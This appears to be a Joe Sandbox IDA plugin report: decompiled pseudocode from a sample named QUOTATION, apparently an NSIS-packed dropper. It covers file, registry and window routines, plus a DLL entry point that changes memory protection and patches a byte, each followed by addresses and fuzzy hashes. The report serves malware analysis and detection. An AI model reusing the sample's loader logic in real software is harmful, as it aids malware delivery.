			E00402631(intOrPtr __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _t27;
				intOrPtr _t33;
				void* _t38;
				void* _t41;

				_t33 = __edx;
				 *((intOrPtr*)(_t38 - 8)) = __ebx;
				_t27 = E00402B0A(2);
				_t41 = _t27 - 1;
				 *((intOrPtr*)(_t38 - 0x10)) = _t33;
				 *((intOrPtr*)(_t38 - 0xc)) = _t27;
				if(_t41 < 0) {
					L24:
					 *0x4237a8 =  *0x4237a8 +  *(_t38 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *((intOrPtr*)(__ebp - 0xc)) = 0x3ff;
					}
					if( *__esi == __bl) {
						L21:
						__esi =  *((intOrPtr*)(__ebp - 8));
						goto L22;
					} else {
						 *((char*)(__ebp + 0xb)) = __bl;
						 *(__ebp - 0x1c) = E00405F51(__ecx, __esi);
						if( *((intOrPtr*)(__ebp - 0xc)) <= __ebx) {
							goto L21;
						} else {
							__esi =  *((intOrPtr*)(__ebp - 8));
							while(1) {
								__eax = __ebp - 0x15;
								__eax = E00405BEB( *(__ebp - 0x1c), __ebp - 0x15, 1); // executed
								if(__eax == 0) {
									break;
								}
								if( *((intOrPtr*)(__ebp - 0x28)) != __ebx) {
									 *(__ebp - 0x15) & 0x000000ff = E00405F38(__edi,  *(__ebp - 0x15) & 0x000000ff);
								} else {
									if( *((char*)(__ebp + 0xb)) == 0xd ||  *((char*)(__ebp + 0xb)) == 0xa) {
										__al =  *(__ebp - 0x15);
										if( *((intOrPtr*)(__ebp + 0xb)) == __al || __al != 0xd && __al != 0xa) {
											__eax = SetFilePointer( *(__ebp - 0x1c), 0xffffffff, __ebx, 1);
										} else {
											 *((char*)(__esi + __edi)) = __al;
											__esi = __esi + 1;
										}
										break;
									} else {
										__al =  *(__ebp - 0x15);
										 *((char*)(__esi + __edi)) = __al;
										__esi = __esi + 1;
										 *((char*)(__ebp + 0xb)) = __al;
										if(__al == __bl) {
											break;
										} else {
											if(__esi <  *((intOrPtr*)(__ebp - 0xc))) {
												continue;
											} else {
												break;
											}
										}
									}
								}
								goto L25;
							}
							L22:
							 *((char*)(__esi + __edi)) = __bl;
							if(_t41 == 0) {
								 *(_t38 - 4) = 1;
							}
							goto L24;
						}
					}
				}
				L25:
				return 0;
			}

0x00402631
0x00402633
0x00402636
0x0040263b
0x0040263f
0x00402642
0x00402645
0x004029b8
0x004029bb
0x0040264b
0x0040264b
0x00402652
0x00402654
0x00402654
0x00402659
0x004026e1
0x004026e1
0x00000000
0x0040265f
0x00402660
0x0040266b
0x0040266e
0x00000000
0x00402670
0x00402670
0x00402673
0x00402673
0x0040267c
0x00402683
0x00000000
0x00000000
0x00402688
0x004026b1
0x0040268a
0x0040268e
0x004026bb
0x004026c1
0x004026d9
0x004026cb
0x004026cb
0x004026ce
0x004026ce
0x00000000
0x00402696
0x00402696
0x00402699
0x0040269c
0x0040269f
0x004026a2
0x00000000
0x004026a4
0x004026a7
0x00000000
0x004026a9
0x00000000
0x004026a9
0x004026a7
0x004026a2
0x0040268e
0x00000000
0x00402688
0x004026e4
0x004026e4
0x004015b0
0x00402783
0x00402783
0x00000000
0x004015b0
0x0040266e
0x00402659
0x004029c1
0x004029c7

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 366e3e88ed94c459e0a2c565d96ad95acb986587cc084f2d6ef043885af1d26a
Instruction ID: 3a2c95f3f261f3e7b92da62a1208cffd6d7f8b014e901ac2ca999815bcbce589
Opcode Fuzzy Hash: 366e3e88ed94c459e0a2c565d96ad95acb986587cc084f2d6ef043885af1d26a
Instruction Fuzzy Hash: 2D21C770C0428AAADF219F644A456BFBB709B11318F14447FE891B63D1C1BD9981CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38
fileCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040166A() {
				int _t7;
				void* _t13;
				void* _t15;
				void* _t20;

				_t18 = E00402B2C(0xffffffd0);
				_t16 = E00402B2C(0xffffffdf);
				E00402B2C(0x13);
				_t7 = MoveFileA(_t4, _t5); // executed
				if(_t7 == 0) {
					if( *((intOrPtr*)(_t20 - 0x2c)) == _t13 || E004062DD(_t18) == 0) {
						 *((intOrPtr*)(_t20 - 4)) = 1;
					} else {
						E00405DB9(_t15, _t18, _t16);
						_push(0xffffffe4);
						goto L5;
					}
				} else {
					_push(0xffffffe3);
					L5:
					E00401423();
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t20 - 4));
				return 0;
			}

0x00401673
0x0040167c
0x0040167e
0x00401685
0x0040168d
0x00401699
0x00402783
0x004016ad
0x004016af
0x004016b4
0x00000000
0x004016b4
0x0040168f
0x0040168f
0x004022a4
0x004022a4
0x004022a4
0x004029bb
0x004029c7

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00401685

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 72a301eb428ce366fab0a6ba72113071e0df53c1d82ea09ee4a171c26df99c33
Instruction ID: 640e453824712c844145895a5cc0ad612f484d8213667f841ebeaca416f2c8de
Opcode Fuzzy Hash: 72a301eb428ce366fab0a6ba72113071e0df53c1d82ea09ee4a171c26df99c33
Instruction Fuzzy Hash: 81F09031A08210A7CB117FBA9E4DD9F2AA49F42328B20027BB511B22D1D6BC850186AF

Uniqueness

Uniqueness Score: -1.00%

Function 004026EF Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004026EF(intOrPtr __edx, void* __eflags) {
				long _t7;
				long _t9;
				LONG* _t11;
				void* _t13;
				intOrPtr _t14;
				void* _t17;
				void* _t19;

				_t14 = __edx;
				_push(ds);
				if(__eflags != 0) {
					_t7 = E00402B0A(2);
					_pop(_t13);
					 *((intOrPtr*)(_t19 - 0x10)) = _t14;
					_t9 = SetFilePointer(E00405F51(_t13, _t17), _t7, _t11,  *(_t19 - 0x28)); // executed
					if( *((intOrPtr*)(_t19 - 0x30)) >= _t11) {
						_push(_t9);
						E00405F38();
					}
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x004026ef
0x004026ef
0x004026f0
0x004026f8
0x004026fd
0x004026fe
0x0040270d
0x00402716
0x0040295e
0x00402960
0x00402960
0x00402716
0x004029bb
0x004029c7

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040270D

Part of subcall function 00405F38: wsprintfA.USER32 ref: 00405F45

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: a9d8ee2bd697c9ca0f2ad565d07bdf8e6e2528e0a7b3e3f739defcc45e62caf5
Instruction ID: f53dea761aa5693b03f4aeaa9096613f160725ff62c28ab2a383c2bfee997f34
Opcode Fuzzy Hash: a9d8ee2bd697c9ca0f2ad565d07bdf8e6e2528e0a7b3e3f739defcc45e62caf5
Instruction Fuzzy Hash: 5AE0EDB1A04215BBD702AB95AE89DBE776CEB44315F10043BF201F11C1C67D4941966E

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8E Relevance: 1.5, APIs: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E8E(void* __eflags, intOrPtr _a4, char* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00405DE5(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegCreateKeyExA(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x00405e98
0x00405ea1
0x00405eb7
0x00000000
0x00405eb7
0x00405ea5
0x00000000

APIs

RegCreateKeyExA.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402BDD,00000000,?,?), ref: 00405EB7

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c5562a190e42d8950a0f575b3a357be24d756bd6a7e1ac790deddfd4386432da
Instruction ID: 95beb03159e1ed36dc188c03c0911f4594c5194c551a9f11594fd4679c6f4357
Opcode Fuzzy Hash: c5562a190e42d8950a0f575b3a357be24d756bd6a7e1ac790deddfd4386432da
Instruction Fuzzy Hash: 23E0ECB2014109BEEF095F90ED0ADBB371DEB04315F00492EFA06E4090E7B5A920AA75

Uniqueness

Uniqueness Score: -1.00%

Function 00405C1A Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C1A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405c1e
0x00405c2e
0x00405c36
0x00000000
0x00405c3d
0x00000000
0x00405c3f

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,00000020,?,004031B8,00000000,004128C0,00000020,004128C0,00000020,000000FF,00000004,00000000), ref: 00405C2E

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c136fe23a15198738cdde8d9ae5bd390bad499becbb6fab094427491a2b8e812
Instruction ID: 28dd51bc99cbbe9e43bc3b4155210361b58306b45153a5fd00399a3e640b4bcc
Opcode Fuzzy Hash: c136fe23a15198738cdde8d9ae5bd390bad499becbb6fab094427491a2b8e812
Instruction Fuzzy Hash: 3AE0EC3261835AABEF249E559C01EEB7B6CEB05360F044472FD15E6150D231E8219FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405BEB Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BEB(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405bef
0x00405bff
0x00405c07
0x00000000
0x00405c0e
0x00000000
0x00405c10

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031EA,00000000,00000000,00403047,000000FF,00000004,00000000,00000000,00000000), ref: 00405BFF

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1302354f14da4ac18fdfad316f10263800e98e90a47707ba9ec6b51f8bbd6d6c
Instruction ID: 7d11c2845e787d99b8eae26fbbcce04266139d1862b3a193897eab19ac9c5e73
Opcode Fuzzy Hash: 1302354f14da4ac18fdfad316f10263800e98e90a47707ba9ec6b51f8bbd6d6c
Instruction Fuzzy Hash: 72E0E632558759ABDF106E559C00AEB775CEB45754F004832FE15E3150D231E8519BE9

Uniqueness

Uniqueness Score: -1.00%

Function 6F602921 Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x6f604038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x6f60404c, 4, 0x40, 0x6f60403c); // executed
					 *0x6f60404c = 0xc2;
					 *0x6f60403c = 0;
					 *0x6f604044 = 0;
					 *0x6f604058 = 0;
					 *0x6f604048 = 0;
					 *0x6f604040 = 0;
					 *0x6f604050 = 0;
					 *0x6f60404e = 0;
				}
				return 1;
			}

0x6f60292a
0x6f60292f
0x6f60293f
0x6f602947
0x6f60294e
0x6f602953
0x6f602958
0x6f60295d
0x6f602962
0x6f602967
0x6f60296c
0x6f60296c
0x6f602974

APIs

VirtualProtect.KERNELBASE(6F60404C,00000004,00000040,6F60403C), ref: 6F60293F

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7c3b390a9e2c5020b4215012b1541d91f6fdecc8d2358093fb278eac0300ac8a
Instruction ID: 7aa97099429feaad8ab173f758e022881e1838142a34446cc273f58d938596af
Opcode Fuzzy Hash: 7c3b390a9e2c5020b4215012b1541d91f6fdecc8d2358093fb278eac0300ac8a
Instruction Fuzzy Hash: F0F0F8B1509A40DEDB70DF6A8640B013EE4B7763A1B31842EE14AF6241E3B440648B19

Uniqueness

Uniqueness Score: -1.00%

Function 00405E60 Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E60(void* __eflags, intOrPtr _a4, char* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00405DE5(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExA(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x00405e6a
0x00405e71
0x00405e84
0x00000000
0x00405e84
0x00405e75
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,?,?,?,?,00405EEE,?,?,?,?,00000002,Call), ref: 00405E84

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 688c0e3dac6200a4dcf5f70578aed2939ff3afbafb421f65443b8838c7a2b092
Instruction ID: 31d842323d9a2f535784a2c12e989c9eb1b9f9f44251d53ba3eec0f14c414acf
Opcode Fuzzy Hash: 688c0e3dac6200a4dcf5f70578aed2939ff3afbafb421f65443b8838c7a2b092
Instruction Fuzzy Hash: 75D0EC3204420DBADF115F90ED05FAB371DEB14355F004522FE05A4090D2769520AA55

Uniqueness

Uniqueness Score: -1.00%

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040159D() {
				int _t5;
				void* _t11;
				int _t14;

				_t5 = SetFileAttributesA(E00402B2C(0xfffffff0),  *(_t11 - 0x30)); // executed
				_t14 = _t5;
				if(_t14 == 0) {
					 *((intOrPtr*)(_t11 - 4)) = 1;
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t11 - 4));
				return 0;
			}

0x004015a8
0x004015ae
0x004015b0
0x00402783
0x00402783
0x004029bb
0x004029c7

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 52ed5338fe7084c51df6a432a079bc0890c4fcb1f0414dd7c874e83e8d0644f6
Instruction ID: d5005c83e4bc13d794db0995845c4037c46dc405a88debeb1123cd551caf7fcc
Opcode Fuzzy Hash: 52ed5338fe7084c51df6a432a079bc0890c4fcb1f0414dd7c874e83e8d0644f6
Instruction Fuzzy Hash: F5D05BB2B08200EBCB11DFE8EF08A5E77B5EB54325F204577E101F21D1D2B88641975A

Uniqueness

Uniqueness Score: -1.00%

Function 004040B4 Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004040B4(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x422ed8; // 0x103c2
				if(_t2 != 0) {
					_t3 = SendMessageA(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x004040b4
0x004040bb
0x004040c6
0x00000000
0x004040c6
0x004040cc

APIs

SendMessageA.USER32(000103C2,00000000,00000000,00000000), ref: 004040C6

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction ID: d19a9dbcf4508c1e9b2ca47d0762ffb16ec5c10abf7e35186d5f4f0c6b5da105
Opcode Fuzzy Hash: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction Fuzzy Hash: F9C04C71754201BAEA319B50DD49F0777586750B00F5584257314F60D1C6B4E451D62D

Uniqueness

Uniqueness Score: -1.00%

Function 004031ED Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004031ED(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409018, _a4, 0, 0); // executed
				return _t2;
			}

0x004031fb
0x00403201

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F89,?), ref: 004031FB

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
Instruction ID: 8831d3de15784b4579c3d7b303db9b45d0c358e109056f74ce618eb3ecc3c243
Opcode Fuzzy Hash: 5ff25966693df5c3ccda7a99ea4025cbe7cf73b83d997e6322396513365c8623
Instruction Fuzzy Hash: 74B01231544200BFDB214F00DE05F057B21A790700F10C030B344780F082712460EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040409D Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040409D(int _a4) {
				long _t2;

				_t2 = SendMessageA( *0x423708, 0x28, _a4, 1); // executed
				return _t2;
			}

0x004040ab
0x004040b1

APIs

SendMessageA.USER32(00000028,?,00000001,00403ECD), ref: 004040AB

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
